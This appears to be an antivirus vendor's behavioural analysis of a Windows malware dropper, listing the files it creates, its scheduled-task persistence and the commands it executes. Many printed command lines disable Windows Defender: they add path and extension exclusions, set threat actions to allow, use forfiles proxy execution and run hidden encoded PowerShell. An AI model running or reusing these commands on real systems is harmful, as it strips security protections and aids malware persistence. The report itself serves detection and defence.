Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %WINDIR%\tasks\bvdavsoljayfsgmhrz.job
- <SYSTEM32>\tasks\bvdavsoljayfsgmhrz
- <SYSTEM32>\tasks\ghjvpdczs
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\JCYibAsHpsUn' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\OFagCDaSU' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\frvyFVfNKKnjC' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\lvsvjTimPTlU2' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\sUgLSwLDhbVOmZmbiJR' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\unURkgqkkHnszyVB' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\gOicmpkfpVgTDASLe' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\MkzPxLezDbOcPEzX' = '0'
Modifies file system
Creates the following files
- %TEMP%\7zs6e6b.tmp\__data__\config.txt
- %TEMP%\7zs6e6b.tmp\install.exe
- %TEMP%\7zs8cf3.tmp\install.exe
- %TEMP%\goicmpkfpvgtdasle\kfarplytoqversb\seydjtq.exe
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_0cb67e2f-dc95-45ca-8fb8-69bde8e3f814
- <SYSTEM32>\grouppolicy\machine\registry.pol
- <SYSTEM32>\grouppolicy\gpt.ini
- %ALLUSERSPROFILE%\ntuser.pol
- %HOMEPATH%\ntuser.pol
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\tempntuser.pol
- %HOMEPATH%\tempntuser.pol
Deletes the following files
- %ALLUSERSPROFILE%\tempntuser.pol
- %HOMEPATH%\tempntuser.pol
- <SYSTEM32>\tasks\ghjvpdczs
Moves the following files
- from %ALLUSERSPROFILE%\ntuser.pol to %ALLUSERSPROFILE%\tempntuser.pol
- from %HOMEPATH%\ntuser.pol to %HOMEPATH%\tempntuser.pol
Substitutes the following files
- %ALLUSERSPROFILE%\ntuser.pol
- %HOMEPATH%\ntuser.pol
- %ALLUSERSPROFILE%\tempntuser.pol
Miscellaneous
Creates and executes the following
- '%TEMP%\7zs6e6b.tmp\install.exe'
- '%TEMP%\7zs8cf3.tmp\install.exe' /skRmdidgNV "385121" /S
- '%TEMP%\goicmpkfpvgtdasle\kfarplytoqversb\seydjtq.exe' cR /GfcdidgvgO 385121 /S
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p <SYS...
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\svchost.exe' -k secsvcs
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gHJvPDcZs"
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '<SYSTEM32>\taskeng.exe' {22B54CD5-1BC8-4EDC-9BDB-DE093ECCD059} S-1-5-21-3691498038-2086406363-2140527554-1000:zqvayzvoe\user:Interactive:[1]
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\MkzPxLezDbOcPEzX" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\gpupdate.exe' /force
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\MkzPxLezDbOcPEzX" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\MkzPxLezDbOcPEzX" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\MkzPxLezDbOcPEzX" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\MkzPxLezDbOcPEzX" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\MkzPxLezDbOcPEzX" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C copy nul "%WINDIR%\Temp\MkzPxLezDbOcPEzX\pdyLcBhf\pQdrCJmyVJPBFnuR.wsf"
- '<SYSTEM32>\raserver.exe' /offerraupdate
- '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\MkzPxLezDbOcPEzX\pdyLcBhf\pQdrCJmyVJPBFnuR.wsf"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\MkzPxLezDbOcPEzX" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\MkzPxLezDbOcPEzX" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\JCYibAsHpsUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
- '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
- '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gHJvPDcZs" /SC once /ST 02:47:07 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gHJvPDcZs"
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
- '%WINDIR%\syswow64\cmd.exe' powershell start-process -WindowStyle Hidden gpupdate.exe /force
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' start-process -WindowStyle Hidden gpupdate.exe /force
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bvDavSolJAYfsGmHRZ" /SC once /ST 07:34:00 /RU "SYSTEM" /TR "\"%TEMP%\gOicmpkfpVgTDASLe\kFARPLYtoQvErsB\sEYdJtq.exe\" cR /GfcdidgvgO 385121 /S" /V1 /F
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\JCYibAsHpsUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
- '%TEMP%\goicmpkfpvgtdasle\kfarplytoqversb\seydjtq.exe' cR /GfcdidgvgO 385121 /S' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
- '%WINDIR%\syswow64\gpupdate.exe' /force' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p <SYS...' (with hidden window)
